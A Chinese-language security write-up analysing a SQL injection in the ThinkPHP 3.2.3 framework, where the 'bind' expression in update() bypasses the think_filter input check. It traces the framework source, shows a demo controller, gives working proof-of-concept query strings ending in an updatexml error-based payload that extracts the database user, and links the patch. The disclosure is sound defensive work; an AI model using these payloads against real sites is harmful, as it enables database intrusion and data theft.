原文來自安全客,作者:0r3ak@0kee Team
原文:https://www.anquanke.com/post/id/104847
簡要描述
thinkphp是國內著名的php開發框架,有完善的開發文檔,基于MVC架構,其中Thinkphp3.2.3是目前使用最廣泛的thinkphp版本,雖然已經停止新功能的開發,但是普及度高于新出的thinkphp5系列,由于框架實現安全數據庫過程中在update更新數據的過程中存在SQL語句的拼接,并且當傳入數組未過濾時導致出現了SQL注入。
Git補丁更新
新增加了BIND表達式
漏洞詳情
這個問題很早之前就注意到了,只是一直沒找到更常規的寫法去導致注入的產生,在挖掘框架漏洞的標準是在使用官方的標準開發方式的前提下也會產生可以用的漏洞,這樣才算框架級漏洞,跟普通的業務代碼漏洞是有嚴格界線的。
thinkphp系列框架過濾表達式注入多半采用I函數去調用think_filter
function think_filter(&$value){
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value))
有沒有相關tips來達到I函數繞過呢?是可以的。
http://document.thinkphp.cn/manual_3_2.html#update_data
一般按照官方的寫法,thinkphp提供了數據庫鏈式操作,其中包含連貫操作和curd操作,在進行數據庫CURD操作去更新數據的時候:
舉例update數據操作。

where制定主鍵的數值,save方法去更新變量傳進來的參數到數據庫的指定位置。
public function where($where,$parse=null){
if(!is_null($parse) && is_string($where)) {
if(!is_array($parse)) {
$parse = func_get_args();
array_shift($parse);
}
$parse = array_map(array($this->db,'escapeString'),$parse);
$where = vsprintf($where,$parse);
}elseif(is_object($where)){
$where = get_object_vars($where);
}
if(is_string($where) && '' != $where){
$map = array();
$map['_string'] = $where;
$where = $map;
}
if(isset($this->options['where'])){
$this->options['where'] = array_merge($this->options['where'],$where);
}else{
$this->options['where'] = $where;
}
return $this;
}
通過where方法獲取where()鏈式中進來的參數值,并對參數進行檢查,是否為字符串,tp框架默認是對字符串進行過濾的
public function save($data='',$options=array()) {
if(empty($data)) {
// 沒有傳遞數據,獲取當前數據對象的值
if(!empty($this->data)) {
$data = $this->data;
// 重置數據
$this->data = array();
}else{
$this->error = L('_DATA_TYPE_INVALID_');
return false;
}
}
// 數據處理
$data = $this->_facade($data);
if(empty($data)){
// 沒有數據則不執行
$this->error = L('_DATA_TYPE_INVALID_');
return false;
}
// 分析表達式
$options = $this->_parseOptions($options);
$pk = $this->getPk();
if(!isset($options['where']) ) {
// 如果存在主鍵數據 則自動作為更新條件
if (is_string($pk) && isset($data[$pk])) {
$where[$pk] = $data[$pk];
unset($data[$pk]);
} elseif (is_array($pk)) {
// 增加復合主鍵支持
foreach ($pk as $field) {
if(isset($data[$field])) {
$where[$field] = $data[$field];
} else {
// 如果缺少復合主鍵數據則不執行
$this->error = L('_OPERATION_WRONG_');
return false;
}
unset($data[$field]);
}
}
if(!isset($where)){
// 如果沒有任何更新條件則不執行
$this->error = L('_OPERATION_WRONG_');
return false;
}else{
$options['where'] = $where;
}
}
if(is_array($options['where']) && isset($options['where'][$pk])){
$pkValue = $options['where'][$pk];
}
if(false === $this->_before_update($data,$options)) {
return false;
}
$result = $this->db->update($data,$options);
if(false !== $result && is_numeric($result)) {
if(isset($pkValue)) $data[$pk] = $pkValue;
$this->_after_update($data,$options);
}
return $result;
}
再來到save方法,通過前面的數據處理解析服務端數據庫中的數據字段信息,字段數據類型,再到_parseOptions表達式分析,獲取到表名,數據表別名,記錄操作的模型名稱,再去調用回調函數進入update
我們這里先直接看框架的where子單元函數,之前網上公開的exp表達式注入就是從這里分析出來的結論:
Thinkphp/Library/Think/Db/Driver.class.php
// where子單元分析
protected function parseWhereItem($key,$val) {
$whereStr = '';
if(is_array($val)) {
if(is_string($val[0])) {
$exp = strtolower($val[0]);
if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比較運算
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
}elseif(preg_match('/^(notlike|like)$/',$exp)){// 模糊查找
if(is_array($val[1])) {
$likeLogic = isset($val[2])?strtoupper($val[2]):'OR';
if(in_array($likeLogic,array('AND','OR','XOR'))){
$like = array();
foreach ($val[1] as $item){
$like[] = $key.' '.$this->exp[$exp].' '.$this->parseValue($item);
}
$whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';
}
}else{
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
}
}elseif('bind' == $exp ){ // 使用表達式
$whereStr .= $key.' = :'.$val[1];
}elseif('exp' == $exp ){ // 使用表達式
$whereStr .= $key.' '.$val[1];
}elseif(preg_match('/^(notin|not in|in)$/',$exp)){ // IN 運算
if(isset($val[2]) && 'exp'==$val[2]) {
$whereStr .= $key.' '.$this->exp[$exp].' '.$val[1];
}else{
if(is_string($val[1])) {
$val[1] = explode(',',$val[1]);
}
$zone = implode(',',$this->parseValue($val[1]));
$whereStr .= $key.' '.$this->exp[$exp].' ('.$zone.')';
}
}elseif(preg_match('/^(notbetween|not between|between)$/',$exp)){ // BETWEEN運算
$data = is_string($val[1])? explode(',',$val[1]):$val[1];
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]);
}else{
E(L('_EXPRESS_ERROR_').':'.$val[0]);
}
}else {
$count = count($val);
$rule = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ;
if(in_array($rule,array('AND','OR','XOR'))) {
$count = $count -1;
}else{
$rule = 'AND';
}
for($i=0;$i<$count;$i++) {
$data = is_array($val[$i])?$val[$i][1]:$val[$i];
if('exp'==strtolower($val[$i][0])) {
$whereStr .= $key.' '.$data.' '.$rule.' ';
}else{
$whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' ';
}
}
$whereStr = '( '.substr($whereStr,0,-4).' )';
}
}else {
//對字符串類型字段采用模糊匹配
$likeFields = $this->config['db_like_fields'];
if($likeFields && preg_match('/^('.$likeFields.')$/i',$key)) {
$whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%');
}else {
$whereStr .= $key.' = '.$this->parseValue($val);
}
}
return $whereStr;
}
其中除了exp能利用外還有一處bind,而bind可以完美避開了think_filter:
elseif('bind' == $exp ){ // 使用表達式
$whereStr .= $key.' = :'.$val[1];
}elseif('exp' == $exp ){ // 使用表達式
$whereStr .= $key.' '.$val[1];
這里由于拼接了$val參數的形式造成了注入,但是這里的bind表達式會引入:符號參數綁定的形式去拼接數據,通過白盒對幾處CURD操作函數進行分析定位到update函數,insert函數會造成sql注入,于是回到上面的updateh函數。
Thinkphp/Library/Think/Db/Driver.class.php
/**
* 更新記錄
* @access public
* @param mixed $data 數據
* @param array $options 表達式
* @return false | integer
*/
public function update($data,$options) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$table = $this->parseTable($options['table']);
$sql = 'UPDATE ' . $table . $this->parseSet($data);
if(strpos($table,',')){// 多表更新支持JOIN操作
$sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
}
$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
if(!strpos($table,',')){
// 單表更新支持order和lmit
$sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')
.$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
}
$sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
}
跟進execute函數:
public function execute($str,$fetchSql=false) {
$this->initConnect(true);
if ( !$this->_linkID ) return false;
$this->queryStr = $str;
if(!empty($this->bind)){
$that = $this;
$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '''.$that->escapeString($val).'''; },$this->bind));
}
if($fetchSql){
return $this->queryStr;
}
這里有處對$this->queryStr進行字符替換的操作:
$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '''.$that->escapeString($val).'''; },$this->bind));
具體是什么,我這里寫了一個實例:
常規的跟新數據庫用戶信息的操作:
Application/Home/Controller/UserController.class.php
<?php
namespace HomeController;
use ThinkController;
class UserController extends Controller {
public function index(){
$User = M("member");
$user['id'] = I('id');
$data['money'] = I('money');
$data['user'] = I('user');
$valu = $User->where($user)->save($data);
var_dump($valu);
}
}
根據進來的id更新用戶的名字和錢,構造一個簡單一個poc
id[]=bind&id[]=1’&money[]=1123&user=liao
當走到execute函數時sql語句為:
UPDATEmemberSETuser=:0 WHEREid= :1'
然后this

然后下面的替換操作是將”:0”替換為外部傳進來的字符串,這里就可控了。

替換后:

明顯發現之前的user參數為:0然后被替換為了liao,這樣就把:替換掉了。
后面的:1明顯是替換不掉的:

那么我們將id[1]數組的參數變為0呢?
id[]=bind&id[]=0%27&money[]=1123&user=liao

果然造成了注入:
POC:
money[]=1123&user=liao&id[0]=bind&id[1]=0%20and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))

修復方式
更新最新補丁
補丁地址:https://github.com/top-think/thinkphp/commit/7e47e34af72996497c90c20bcfa3b2e1cedd7fa4
本文經安全客授權發布,轉載請聯系安全客平臺。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/573/
暫無評論